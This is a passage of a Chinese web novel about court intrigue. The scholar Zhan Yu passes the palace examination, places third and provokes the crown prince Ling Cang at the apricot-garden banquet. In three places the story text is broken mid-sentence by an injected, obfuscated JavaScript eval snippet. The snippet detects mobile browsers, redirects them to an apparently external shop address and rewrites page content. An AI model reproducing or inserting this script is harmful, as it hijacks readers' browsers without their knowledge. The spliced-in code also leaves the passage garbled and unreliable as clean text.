“姐姐这话可是折煞我了。”展毓就着她的手将葡萄衔走,唇角漾开一抹风流潋滟的笑,鼻翼上的小痣生动地跳了一下,“在下不过是个穷举子,哪敢消受姐姐这般深情?姐姐要倒贴,也该找咱们谢二公子,谢二公子财大气粗,豪掷千金连眼皮都不带眨一下的。” 坐在一旁的谢青藜已经看直了眼,顺便喝了一肚子醋。 他今日本意是想带展毓来见见世面,顺便显摆一下自己在欢场上的威风。可谁曾想,展毓一挑帘子进来,只消往那一坐,他那些个平日里高傲的红颜知己就全围过去了。 “小爷我在鸣玉坊砸了少说也有几百两银子了!”谢青藜愤愤地灌了一口酒,“如烟你平日里连个正眼都不多给我,他一来,你恨不得把心肝脾肺肾全掏出去,这还有天理吗?” “谢公子这就吃味了?”另一个叫红绡的姑娘掩唇直笑,“展公子生得俊俏不说,还知情识趣。刚才不过闲聊几句,展公子就能体恤咱们姐妹的苦楚,哪像那些个酸腐文人,满嘴的仁义道德,脱了衣服比谁都禽兽。” 展毓听罢,只是低低地笑:“我脱了衣服,说不准也是个禽兽呢。” 他这话说得不荤不素,就是那个调子,叫人一时分不清是正经还是说笑。几个姑娘笑作一团,脸霎时红透了,拿帕子掩着嘴,又忍不住偷偷去瞧他。 就算是禽兽,也是长得比较好看的那种,比如孔雀。 谢青藜心里酸水直冒,更让他五体投地的是,展毓来这烟花之地还真不是为了寻欢作乐的。 什么地方消息最灵通?自然是这些青楼楚馆姑娘们的枕席之间。 送往迎来的皆是达官显贵,几杯黄汤下肚,温香软玉在怀,那些大人们在朝堂上不敢露的怯,全都在这红罗帐里抖了个底朝天。 哪位侍郎大人的小妾是死对头送来的暗桩,哪位给事中惧内,又是哪位大人在外面养了三房外室……这些消息,全在推杯换盏中,成了姑娘们的谈资。 不过两三天的功夫,展毓连半两银子都没花,只凭着那张俊脸,顺着姑娘们的话头添油加醋地捧了几句,便把主持春闱的几位大人的脾性忌讳摸了个七七八八。 谢青藜对此一无所知,还在那儿心满意足地喝着酒。 “天下乌鸦一般黑,哪有几个男人有真心?”如烟幽幽道,“我倒觉得,这世上最专情的男人当属圣上了,皇上与皇后娘娘结发情深,十几年如一日的敬重,这等情分,莫说皇家,便是放在寻常百姓家也是难找的。” 听到此处,展毓原本含笑的眸底掠过一丝嘲弄。后宫佳丽三千,孩子生了一打的男人,也配称得上专情二字? 谢青藜听了这话,却来了兴致,神秘兮兮地凑了过来:“你们可知,为何那几个小皇子跟太子殿下差了整整十来岁?” 几个姑娘都被勾起了好奇心,纷纷催促:“谢二公子快说,莫要卖关子!” 谢青藜灌了口酒,得意地炫耀起自己的内幕消息:“几年前太子殿下生了一场怪病,据说凶险至极,圣上这才破了例,频繁出入后宫,硬生生在一两年里弄出了好几个小皇子以防万一。” 原来如此。 展毓听得肃然起敬。做皇帝还真是辛苦,为了江山社稷,连裤腰带都解得这般大义凛然。 “展公子,你怎么了?”如烟常年在风月场上,很会察言观色,立刻察觉到展毓不高兴了。 “无妨,大概是这酒烈,有些上头了。”展毓轻描淡写地接过话,唇角还挂着笑,但那笑不往眼睛里走。 他将杯中残酒一饮而尽,起身拍了拍谢青藜:“时辰不早了,再不走,谢大人的棍棒可就要落到你我头上了。” 谢青藜正聊在兴头上,扭着身子撒赖:“哎呀,再坐一会儿嘛,急什么……” 展毓根本不跟谢青藜废话,一把揪住他的后领,像拎小鸡仔似的把人直接拎了出来,转头对着屋内几位姑娘拱手一揖:“今日叨扰,各位姐姐,失陪了。” 出了鸣玉坊,外面的冷风一吹,谢青藜的酒醒了半分,走路还是歪歪扭扭的,时不时要往展毓身上靠,被展毓嫌弃地一次次推开。 两人刚转过一条暗巷,便迎面撞上了一个人。 那人抱着几卷书册,正定定地站在那里,他看着满身脂粉气、衣衫微微凌乱的展毓,又看了看旁边醉醺醺的谢青藜,浓眉立刻拧到了一起。 “春闱在即,举子皆唯恐辜负了十年寒窗。”徐仲麟痛心疾首地看着展毓,“我原以为你是个胸中有丘壑之人,却不想你一入京城,便与这等纨绔子弟同流合污,沉迷于勾栏瓦舍,简直……简直有辱斯文!” 谢青藜登时火冒三丈:“你算哪根葱,也敢管小爷我……” 话没说完,展毓就把他按了回去。 展毓懒洋洋地笑了笑:“仲麟兄,火气这么大,可是这几日背书背得上火了?” 这般死不悔改的放浪做派更是彻底激怒了徐仲麟,他别过脸去,好像多看一眼都会脏了自己的眼睛,拂袖便要走。 “等等。” 徐仲麟脚下一顿。 展毓不紧不慢地绕到徐仲麟面前,挡住了他的去路,那一双眼睛在月色下又冷又锐:“春闱考的是什么?” 徐仲麟答:“自然是治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454172|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国安邦之策!” “嗤。”展毓毫不留情地笑出了声,“朝廷不是书院,批卷子的也不是孔孟圣人。” 展毓逼近一步,目光灼灼:“你闭门造车,就算把文章写出一朵花儿来,若是犯了哪位大人的忌讳,考官朱笔一挥,你就算有经天纬地之才,这辈子也只配在乡下教一辈子蒙童。你我这样毫无根基的人,如果不提前摸清这帮考官的忌讳,难道真到了考场上去瞎猫碰死耗子,拿你那十年的寒窗苦读,去赌考官心情好坏吗?” 展毓这番离经叛道的话,道理徐仲麟未必不明白。明白是明白,却不一定认可,读书人自有傲骨,若是认可了,岂非负了自己这些年的苦读。 徐仲麟紧紧抿着唇,面上郁色仍在。 展毓看着他这副倔驴样,收敛了锋芒,凑到他耳边,用只有两人能听见的声音飞快地说:“主考官礼部尚书王大人最近痔疮犯了,坐不住,你若写得言简意赅些,他少受点罪,兴许能给你个好名次。” 说罢,展毓退开半步,又朝徐仲麟笑了笑:“夜深了,回去早些歇息吧,仲麟兄,留着精神,去写你那治国平天下的文章。” 展毓不再看呆立在原地的徐仲麟,招呼了一声还在愣神的谢青藜。 他们刚走出没多远,一辆毫不起眼的马车正从大街上缓缓驶来,错身而过的那一瞬间,夜风忽地掀起了马车的一角车帘。 展毓不经意地侧眸一瞥,脚步倏地一顿。 车厢幽暗,隐在黑暗里的人,也正微微侧头,透过缝隙睨着他。 风停,车帘垂落。 展毓眸光微转,像是想起了什么极有趣的事,突然扬声喊:“青藜。” “啊?怎么了?”谢青藜打了个酒嗝,迷迷糊糊地应着。 展毓余光瞥着那辆还没走远的马车:“圣上为了绵延子嗣那么拼命,太子殿下如今膝下有几个子嗣了?” 前方那辆原本平稳行驶的马车,果然微不可察地慢了下来,展毓唇角一点点勾起,露出一个得逞的笑。 “哥,你喝糊涂了吧?”谢青藜莫名其妙地看着他,“太子连正妃都没娶哪来的孩子?听说是因为眼光极高,谁家塞的贵女都没看上。怎么着,颜儿妹妹今年才九岁,你就开始为她的终身大事打算了?” 展毓有时候真觉得谢青藜脑子里装的都不是浆糊,完全是水,而且还是一点涟漪都不起的那种死水,他到底是怎么想到这茬上去的。 “眼光极高……” 展毓注视着马车消失的方向,嘴角一点点勾起:“万一是因为……几年前那场怪病伤了根本,从此只能看,不能用呢?” 谢青藜原本还有些醉意,一听这话,吓得魂飞魄散:“你……你你你!你要死啊!这话可不兴乱说,这话要是传到太子耳朵里,非把你送进宫当公公不可!” 莫说是太子,只要是个男人,听到别人编排自己不能人道,恐怕都要连夜提着刀把造谣者大卸八块。 展毓笑了笑,没说话。太子要是真想砍了他,刚才马车就停了。 12. 殿试 入了春,礼部主事写好的文书来不及发布,便被春风抢了先,一路从贡院吹到大街小巷,吹绿了京城的柳条,也吹沸了天下士子的心。 天下读书人,全指望着这一纸杏榜脱胎换骨。皇榜下,人潮汹涌。满头华发的老童生狂喜过后,不顾仪态地策马狂奔,凑热闹的垂髫小儿铆足了劲儿在人缝里钻,还有看了榜后满脸颓丧的青年,由同乡半拖半拽着颓然而去。 当自己的名字出现在榜单上时,困顿潦倒的日子再也不足一提,哪怕白发苍颜,名在丹台,那便是泥鳅跃了龙门,得道成仙了。 徐仲麟拿起茶杯喝了一口,又捏着杯口转了一会才放下,忍不住道:“你一点儿也不好奇?” 展毓慢条斯理地往他的杯子里又添了一些茶水,眼皮都没抬,轻笑道:“说好了喝完这壶茶再去,怎么平素泰山崩于前而色不变的徐大才子,今日也免不了动了凡心?” “十年寒窗,为的就是一朝登科!我虽不惧落榜,却也想尽早尝尝金榜题名的狂喜。”徐仲麟从展毓手中抢过茶壶,重重搁在桌上,“展毓,平日你百般戏弄我也罢,今日这关口,莫要再作弄人了!” 徐仲麟这人,平日像个老头似的沉得住气,如今才有一点年轻人的样子,他离座,展毓也跟着下了楼。 赶到榜下时,落榜的早已痛哭离去,剩下的多是些还不敢相信自己考中,反复确认名次的呆子。两人慢慢往前走,名次也越来越靠前,展毓说:“你只管走到最前面去。” 徐仲麟眼睛没离开过皇榜,连呼吸都屏住了:“万一我落榜了呢?” 展毓认真思忖了片刻,煞有介事地点头:“若连你也落榜,定是有人舞弊,咱们这就去贡院门口鸣冤,大不了再死个主考官。” 徐仲麟:“……” 这话听着实在耳熟,临安发生那事犹在昨日。 不一会,两人都走到了皇榜的最前面。徐仲麟仰起头,看着榜上的三个大字,没有预料中的狂喜。 展毓偏过头,正好见他眼角有些湿润。 这是……哭了? 这位平日里老成的学子竟然哭了。徐仲麟抬手将眼泪拭去:“在下……先告辞了。” 展毓知道他这一路的千难万险,难得收起了那股戏谑劲儿,眼神都清明了几分,他微微颔首,在徐仲麟走出几步后,忽然扬声叫住了他。 “仲麟。” 徐仲麟回头。 展毓收敛了笑意:“你是凌云之才,今后入了朝堂,莫要妄自菲薄。” 展毓站在逆光处,阴影让他本就明丽的五官变得更加深邃,这话从一个成日混迹青楼楚馆的人嘴里说出来竟重如千钧。 徐仲麟眼眶又是一热,朝他一揖,转身离去。 “公子!”卫仪气喘吁吁地挤过来,手里抱着件大氅,“虽说入了春,这倒春寒厉害着呢,不能只着单衣!” 展毓嘴上对卫仪说:“你若是这般絮叨,以后是找不到媳妇的。”他还是接过大氅披上,看着自己的名字位于榜首,垂下眼睑,没有什么表情。 卫仪憋了半天,到底没忍住:“公子,你也太沉得住气了,刚才我看徐公子都哭了!” “我哭给谁看。”展毓说。 人家哭,是苦尽甘来,光耀门楣,对得起高堂老母的殷殷期盼,他有什么可哭的? 展毓拢了拢领口,又露出一贯的轻浮样:“谢青藜说是要包下整个画舫给我庆功,今朝有酒今朝醉,明日的愁,留给那些活阎王去愁吧。” …… 大齐开国不过十载,百废待兴,奉天殿比前朝的规制小了许多,天子有意为之,美其名曰与民休息。展毓觉得,可能就是皇上连年征战打空了国库,修不起大殿了。 殿试只考一科时务策,由皇帝亲自出题,要求直言直述,字数千字以上。天刚蒙蒙亮,彤庭肃穆,玉阶森严。随着净鞭三响,三百名新科贡士屏息凝神,鱼贯而入。 展毓低垂着眉眼,只在跪拜的间隙,悄悄撩起眼皮瞥了一眼上面那人。 民间传闻,当今圣上龙睛虎目,生来带有天子之气,扫八方的气魄足以让山河改色。可真坐在那龙椅上的,分明只是个两鬓染霜的老人。那张脸上甚至还能看到早年刀剑留下的疤,沟壑纵横。 当那双虎目漫不经心地扫过殿中时,展毓却分明感觉到一股杀气,那是在尸山血海里,踩着无数白骨爬上巅峰的开国帝王独有的威压。 展毓咬着唇,直到尝到血腥味,才将那股颤栗硬生生压了下去。 礼部尚书王大人展开黄轴,朗声宣读策问: “朕闻王者之迹,莫大乎制治保邦。今北虏屡扰,边备日弛,国用不赡,军饷匮乏……尔诸生皆天下英才,当陈经世之策!” 字字句句,忧国忧民。 皇帝是在马背上打下天下的,骨子里的血根本没凉透,他日思夜想的都是北伐,成其千古一帝的伟业。可如今文臣串通一气进谏止战,那些个跟着他打天下的功臣们更是个个虎视眈眈,就等着上战场建功立业。 这篇策问,分明是皇帝在投石问路。他是在试探这三百名新科进士里,有没有一条敢替他去咬人的疯狗。 展毓听完礼部尚书宣读的策问,便提笔落墨,一气呵成。全程只闻纸笔摩擦之声,再无旁骛。 按惯例,殿试只在当日交卷,由读卷官圈定名次。但今上破例,两日后,初选出的前十名贡士被特旨召入文华殿,由天子亲自考校。 这一场突如其来的加试,让朝野上下闻到了不寻常的气息。 ...... 文华殿。 皇帝高坐御座,慢条斯理地召问。 第一个点到的人叫俞维桢,是当朝吏部尚书俞秉文的嫡孙。 俞维桢应对有度,字字皆是四平八稳的稳妥之言,无懈可击,也无锋芒。展毓心道这人真是做官的命,不求有功但求无过,不愧是世家大族栽培出的嫡孙。而徐仲麟则青涩得多,凭着一腔热血直陈朝政弊病,倒也称得上铁骨铮铮,但终究是隔靴搔痒。 从日出站到日落,滴水未进。展毓的双腿麻木到几乎失去了知觉,他硬生生撑直了脊梁,纹丝不动。 直到酉时一刻,御座上才传来一个低沉的声音。展毓上前一步,撩袍跪地。他不卑不亢地直视了天颜一瞬,复又恭敬地垂下眼帘。 目光交汇的电光石火间,皇帝那张常年不苟言笑的脸上,竟然有些许错愕。 殿里的考生们都垂着头,不敢抬眼,唯独距离稍远的几个官员,却看出来这是天子发怒前的征兆。 “你就是展毓。” “正是。” 皇帝的视线落在那张被读卷官推至御案前的策卷上。 “你的文章,朕听他们读了。”皇帝道,“你一个南方举子,怎么对边关的军务这么了解?” 展毓低着头回话:“回陛下,臣不懂边关军务,正因为不懂,才不敢大言不惭地论什么排兵布阵之道。” 皇帝锐利的目光如利剑一般狠狠地刺过去,锋芒毕露。 展毓继续道:“臣是个俗人,只会算账,臣自幼跟着父亲看地方账册,那账本上写的田亩数,与隐瞒不报的,往往差着三五成之多。军屯亦然。” 他稍稍停顿了一下,用余光瞥了眼皇帝的表情,说出了石破天惊的话—— “臣愚见,没有打不赢的仗,只有算不清楚的账。国库空虚不仅因为硕鼠,如今的军屯,早已不是大齐的军屯。被将领私占了几何?军户逃亡了几何?账面上看着有百万大军、千万亩军屯,还剩下几何?” 站在一旁的礼部尚书冷汗直冒。拔出萝卜带出泥,这背后牵扯的是多少人的钱袋子,这不知死活的黄口小儿,把这层文武百官默契糊上的窗户纸捅了个稀巴烂。 皇帝冷冷地盯着他:“说的都是些废话,你以为朕不知道?不知天高地厚!” “臣不过是个纸上谈兵的书生,如何运筹,自是圣上与诸位大人的事。臣只知账面上的事情,只有先查清楚了,才知道家里究竟有多少粮,才好计议下一步。” 展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454173|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毓微微敛息,忍住腿部传来的酸痛,咬着牙补了一句:“开源节流,向来是一体两面。节流乃是一时之策,唯有开源充库,才是长久之计。” 许久,皇帝眯起眼睛,冷笑一声。 “一派胡言,书生之见,狂妄至极!” 群臣吓得齐齐跪倒,以为雷霆之怒即将降下,皇帝要将这个狂妄的举子拖出去廷杖,却听皇帝话锋一转。 “字倒是写得不错,退下吧。” 展毓伏地叩首,大呼万岁,恭敬地退出了大殿。 直到走出宫门,紧绷的那根弦一旦松懈,瞬间被抽干了所有力气,展毓只觉得喉头涌上一股腥甜,眼前发黑,天地倒悬。 “公子!”一直在宫门外焦急等候的卫仪瞧见展毓面色惨白地走出来,惊恐地冲过去。可他一个十四岁的半大孩子,又生得瘦小,哪里接得住一个成年男子? 忽然有人托住了展毓的腰,向上一提,把他半拖半抱地拽了起来。 鼻尖萦绕着一股若有若无的气味,不带丝毫的甜腻,闻之令人神清气爽。 展毓意识涣散,强撑着掀开眼皮,视线尚未完全聚焦,便看见了那人衣襟上刺眼的衮龙金绣。他浑身发冷,本能地打了个寒战,胃里翻江倒海。 上方的声音带着恰到好处的关切:“可是身子太虚,撑不住了?” 展毓扯了扯嘴角:“殿下……一路纡尊降贵地跟到这里……莫不是……来看笑话的……” 平时伶牙俐齿的一张嘴,现在说起话来却是断断续续的。 凌沧朗声叹道:“展公子在殿内直陈时弊,一片赤诚的忧国之心,孤听得真切,孤若不亲自来送一送,岂不成了凉薄寡恩之人?” 展毓气极,他最恨的就是这种表里不一的伪善之人。前些日子他们才在私下里撕破了脸,差点掀了桌子,现在到了人前,这人居然立刻又端起这副宽厚仁恕的样子来做戏! 一口郁气堵在胸口,可身体的消耗已到了极限,展毓连说话的力气都没了,极不情愿地晕了过去。 “公子!公子你怎么了!求求这位大人,放过我家公子吧!”卫仪吓得扑通一声跪在地上,哭得那叫一个撕心裂肺。 凌沧看向卫仪:“莫哭,你家公子是国之栋梁,怎会为难他?快起来吧。” 卫仪立刻止住哭,傻乎乎地站起来。 凌沧这才吩咐身边的侍卫:“让太医院的王太医去展公子的住处诊治,切莫让他落下什么病根。” 宫门外的人见状纷纷侧目,这位新科进士竟得太子亲自相送,当真是圣眷优渥。 …… 次日 鸿胪寺官员站在高高的阶上,手捧皇榜: “奉天承运皇帝,诏曰:钦定一甲第一名,状元,俞维桢!” “一甲第二名,榜眼,徐仲麟!” “一甲第三名,探花——展毓!” 紧接着,礼部官员将写有进士名榜的黄榜张挂于左门外,金榜题名,天下皆知。 消息在京城里飞快地传开,各种版本的说法也跟着飞出去了,有说这位新探花郎长得貌若潘安,一眼便被皇帝相中了,也有说他殿试策论语出惊人,本该下狱,是太子力保才得了个第三。 总之众说纷纭,莫衷一是。 卫仪在外头听了一圈回来,一脑门子热汗,把这些说法原原本本地学给展毓听:“真是气死我了!公子,他们编排你,说你无真才实学,全凭长了一副好皮相,媚上欺下,才被皇上点了探花!” 展毓神色如常:“探花本来也要选好看的,他们说得也没错吧。” 卫仪:“……” 那倒也是。 展毓接住一片飘落的杏花,娇嫩的花瓣静静地躺在掌心。 明日便是朝廷赐宴新科进士的杏园宴,太子代天子出席。 他合手,把掌心的杏花揉碎。 既然凌沧那么喜欢在大庭广众之下演那出君臣相宜的把戏,他这个做臣子的,若不回赠一份大礼,岂不是辜负了殿下的深情厚谊? 13. 杏园 殿试既毕,天子亲定三甲。礼部循旧例,于杏园大宴新科进士。 阳春时节,百花尽妍。御街夸官,历来是春闱大典后最引人注目的一场大戏。三百名新科进士,由礼部官员引路,顺着宽阔的御街浩浩荡荡地游行。走在最前头的,自然是跨着高头大马的鼎甲三人。 状元俞维桢出身世家,面对两侧欢呼,他只是端坐马背,嘴角含着恰到好处的笑意,端的是清风明月。人家不是来跃龙门的,人家本就在龙门里,今日不过是走个过场。 榜眼徐仲麟便不同了,苦读十载,一朝得了天子青眼,殿试时还能凭着一腔孤勇对答如流,如今面对满街百姓,反倒露了怯,绷紧了下颌,连手脚都不知往哪儿放。 自古探花多风流,按历朝不成文的规矩,这一甲第三名,总要在文章拔尖的人里,挑一个相貌最出众,最能压得住春光的。 展毓今日着了一身鲜艳的红袍,乌发用金冠高高束起,那张原本就俊极妖极的脸在春日和红袍的映衬下,愈发显得活色生香。他既没有世家子的矜持,也不拘谨,颇为自得。 街道两旁阁楼上的大姑娘小媳妇们都盯着他看,不知是谁先带的头,一条丝帕落在了马前,紧接着是香囊、绢花,乃至新鲜的瓜果。 展毓左躲右闪,如果运气不好,被一个十斤重的大冬瓜砸中,探花可能就得换人了。 随行的官员们在后面看着,面色各异。 “这届进士年纪最小的便是俞维桢,听说俞大人这个孙子三岁能文,七岁能诗,今日一看,果然沉稳大气,俞家后继有人啊。” “我看徐仲麟也是个好苗子,看似是个文弱书生,文章却犀利无比,字字句句切中时弊,想必日后必是御史台的一把好手。” 礼部尚书王怀仁幽幽道:“要老朽看,展毓才是个真人不露相的,一看就是个静不下心做学问的性子,偏偏学识不在那二位之下,只是这心性嘛……呃,还需磨砺一番。” 能把“心术不正”说得这么委婉动听,众人佩服王大人不愧是尚书。 徐仲麟听着身后的议论,终于忍不住,压低声音对展毓斥道:“大庭广众之下,你这般左顾右盼、轻浮浪荡,成何体统!” 展毓随手拨开一朵落在肩上的牡丹,笑得眉眼弯弯:“徐兄此言差矣,世人皆爱美色。我既然长了这副好皮囊,皇上又钦点了我做探花,我若是不轻狂些,岂不辜负了老天爷的赏赐,又驳了圣上的恩典?” 他这番歪理说得理直气壮,徐仲麟被噎得一句话也说不出来,展毓却笑得越发灿烂。 皇帝和太子这对父子将他高高捧起,不过是想用他做一把杀人的刀、一条咬人的狗。既然要当恶犬,他又何必去装什么清流? 他就是要在这满朝文武面前,把太子对他的关照坐实成桃色传闻,立稳一个不可大用的佞臣之名。名声越臭,底线越低,他越是孤立无援,龙椅上的那位用起他来,才越放心。 按着旧例,夸官途中,鼎甲三人需离队寻访京城名园,采得全京城最名贵的花卉,折返后分给同榜进士佩戴,寓意“折桂分香”。若是去晚了,被其他人抢了先,这三人便要在杏园御宴上罚酒三杯。 俞维桢策马靠近,温声道:“户部刘尚书最爱牡丹,他名下有一处离园,园中的魏紫今日开得正好,我们快去,莫误了时辰。” 展毓故作惊讶:“太好了!原来俞兄都提前打听好了,我还当真要像无头苍蝇一样乱撞呢。” 俞维桢极有涵养地笑了笑,多看了展毓两眼。一旁的徐仲麟心思细腻,忽地怔了怔,这才注意到展毓有些心不在焉,他第一次在这个人身上看出了一种说不出的孤独和落寞,满街的热闹似乎与他无关。 但也只是一瞬,展毓的眼睛很快就重新亮了起来。 “我知道另一处有好花,你们可得快些,别被我抢了先!”展毓一扬马鞭,朝着截然相反的方向疾驰而去。 一炷香后。 周府紧闭的大门前,几名护卫如临大敌地瞪着马背上的年轻探花。 “京城的达官显贵,今日都敞开了大门任新科进士采花以沾喜气。”展毓玩着马鞭,眼角斜斜挑起,“怎么大都督府却闭门谢客?听闻大人府中有一株御赐的牡丹,开得极好,不知大人可愿忍痛割爱?” 不多时,角门开了一条缝,周府的大管家皮笑肉不笑地钻了出来,敷衍地拱了拱手:“探花郎见谅,我家老爷近日抱恙,府中夫人小姐也都染了风寒。老爷吩咐了,实在怕过了病气,误了您的前程,您请回吧。” 说罢,竟是半点脸面不给,合上了大门。 什么是怕过了病气,周延玺只怕是恨不得他立刻染上瘟疫暴毙街头吧。 既然拿不到名动京城的牡丹……展毓抬起眼,目光越过高高的墙,盯上了那一枝探出墙头的西府海棠。这花养得真好,红白相间,层层叠叠的,吸饱了民脂民膏,才能在这深宅大院里开得这般跋扈。 展毓竟踩着马镫,生生将那几根开得最繁盛的花枝尽数折断,把好好的一棵海棠薅得惨不忍睹。管家气得差点昏死过去,指着门外的护卫破口大骂。 “御赐之物,自然要配天子门生,替我多谢周大人赠花之谊!” 风中有暗香,是西府海棠的味道。 展毓抱着抢来的海棠,扬起马鞭笑着绝尘而去,胸中才终于有了点“春风得意马蹄疾”的快意。 …… 申时三刻,杏园赐宴。 杏园位于皇城东南,引活水入园,此时正是杏花开得最盛的时节,满园如霞似锦。大齐虽开国不久,但杏园宴的规矩却承袭了前朝初年的遗风,极尽风雅。 新科进士们依着名次落座,推杯换盏间,气氛看似融洽,实则水面下盘根错节。同科为同年,今日结下的座主与门生之谊,便是日后朝堂上错综复杂的党羽。 随着内监一声长长的通传,园中众人齐刷刷地站起身来,整理衣冠,恭敬肃立。一时之间,只听得衣物摩擦与环佩叮当之声,连枝桠上打盹的鸟雀也被惊飞。 太子代天子赐宴,本身便是极大的荣耀。这是皇帝向天下昭示储君地位稳固,也是让太子提早施恩于新科士子,收揽天下英才。 “臣等叩见太子殿下!” 太子今日穿了一身绛色常服,腰束白玉带,身姿挺拔如松。他踏着落花缓步走上主位,虽不似皇帝那般雷霆之威,却渊渟岳峙,自有一股气势。 “今日乃我大齐抡才之大典,父皇特命孤代为赐酒,诸位皆是国朝未来的股肱之臣,今日在杏园,只论文雅,大家务必尽兴。” 场面话永远说得滴水不漏,让人如沐春风。在座的老臣们心里都清楚,这位主子面上温文尔雅,底下藏着的也是翻云覆雨的手段。 太子十四岁便开始旁听政务,前些年皇帝御驾亲征,都是太子代为理政。就连当年那桩惊天动地的赵氏谋逆案中,对自己的亲舅舅,太子也未曾有过半点偏私,冷眼看着赵家大厦倾颓。 按照规矩,太子需亲自走下玉阶,赐一甲三人御酒。 凌沧端着金樽,缓步而下。他先是在状元俞维桢案前停下,亲手递上酒杯。俞维桢本就是太子伴读,东宫嫡系,未来的储相。两人目光交汇,自有一种心照不宣的默契。 到了榜眼徐仲麟桌前,凌沧端详了片刻这个略显紧张的年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454174|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻人,温言赞了一句:“你的策论孤看了,扎实得很,望你日后在朝能不改初心,做大齐的诤臣。”徐仲麟双手接过金樽,躬身谢恩。 最后,凌沧停在了展毓的案前。 一瞬间,偌大的杏园里,目光或明或暗地聚焦在了此处,竖起了耳朵。 众人自然不知道两人在江起元家里的那些暗流涌动,只当展毓颇受太子青睐。他们想看的是一出大戏,太子面对俞维桢这个知根知底的心腹旧臣,和展毓这个风头正劲的新宠,究竟是个什么态度? 更何况……谁是“新欢”谁是“旧爱”还扯不清呢。 那些浸淫官场多年的老狐狸们,心早就提到了嗓子眼。他们看着展毓那张脸,心里无不翻江倒海,这位探花生得实在太像赵小公子了! 赵小公子是何等人物?皇后的亲侄子,温润端方,文韬武略,只可惜明珠蒙尘,至今提起仍叫人扼腕叹息。展毓除了那张脸长得相似,脾气秉性简直是云泥之别,赵小公子皎皎如天上月,展毓却一身妖邪之气。 太子留这么一个酷似罪臣之子的人在身边,究竟有何深意?此中意味,实在值得细细揣摩。 “这杯酒,敬大齐的新贵。”凌沧看着展毓,目光幽深,似笑非笑。 展毓从容起身,行礼谢恩,从凌沧手中接过了酒杯。 “臣,谢殿下赐酒。” 展毓仰起头,将金樽中的御酒一饮而尽。他喝得急,几滴酒液顺着下颌滑落,配上那双天生含情的桃花眼,竟生出一种糜艳至极的狎昵感。 放下酒杯,展毓忽然自袖中抽出了那枝从周大都督府抢来的西府海棠。 “殿下方才说,今日在杏园,只论文雅。”展毓轻轻拨弄着花瓣,语气轻佻,“臣以为,这满园春色,纵然再美,也比不过殿下天家威仪,既是文雅之会——” 在全场所有进士、官员乃至内监震惊得近乎呆滞的目光中,展毓竟把那花轻狂地掷向了太子。 徐仲麟在一旁倒吸了一口凉气,脸都白了。 这简直是大逆不道!轻佻戏弄储君,把民间优伶的做派用在太子身上,这是要诛九族的死罪! 一阵利刃出鞘声,周围随侍的禁军霍然拔刀,杀气凛然。 展毓眉眼舒展,乌黑的笑眼直视太子:不是喜欢演戏吗?不是要在全天下人面前彰显你对我的恩宠吗?我今日就成全你,就看殿下……敢不敢接了。 凌沧接住了那枝花,制止了身后的禁军。 “此言差矣。” 凌沧上前一步,在众人惊骇的目光中,素来克制持重的太子,竟不顾君臣之防,从枝上摘下开得最盛的一朵,将那朵娇艳欲滴的海棠花,轻轻簪在了展毓金冠旁的乌发里。 红花,红袍,玉面。 凌沧微微倾身,靠近展毓耳畔:“名花,当配美人。” 话说得暧昧,眼神里却没有半分旖旎。 刚采来的海棠艳得很,但香得很淡,很清雅,需贴近细嗅才能闻到。随着他的靠近,海棠那点香气直接被更强势的兰草气味驱散了,再也闻不到。 展毓微微偏了偏头,与凌沧的目光正面相撞,心中冷冷一笑。今日太子在群臣面前四两拨千斤地接了他的招,放他一马,日后关起门再相见,恐怕就不是今日这副面孔了。 宴末,群臣心思各异地散去。 展毓独自一人行至湖边,四下无人,他嘴角的笑意瞬间消失得干干净净,嫌恶地扯下那朵太子亲手簪上的海棠花,看也不看,随手掷进水里。 粉白的花瓣在水面上悬停,打着旋儿漂远,他刚要转身,背后的小径上,却突然传来一阵不疾不徐的脚步声。 14. 藏锋 “当初在临安你言辞无状,我只当你是为了脱困不得已而为之。可如今到了京城,你竟也敢这般轻狂戏弄储君!当真是不要命了吗?” 听到是徐仲麟的声音,展毓才松了口气。 这番话说得痛心疾首,恨铁不成钢。是啊,在别人眼里,他展毓不仅是个疯子,还是个嫌自己命太长的疯子。 展毓没兴致辩解,于是顺着他的话说:“既然知道我行事疯癫,就该离我越远越好,你如今是圣上钦点的榜眼,前途无量,你我虽为同乡同榜,说到底不过是泛泛之交,何苦跑来劝我?” 徐仲麟忽地苦笑了一下。 他和展毓在临安算是生死之交,这些日子同在京城,偶尔也会相约谈天。 展毓这人说好相处确实好相处,因为他长袖善舞,太懂得如何让人舒坦。可真要深交,才知道他是真难相处,那副玩世不恭的皮囊之下,不知道藏着什么,半点不肯露出来。 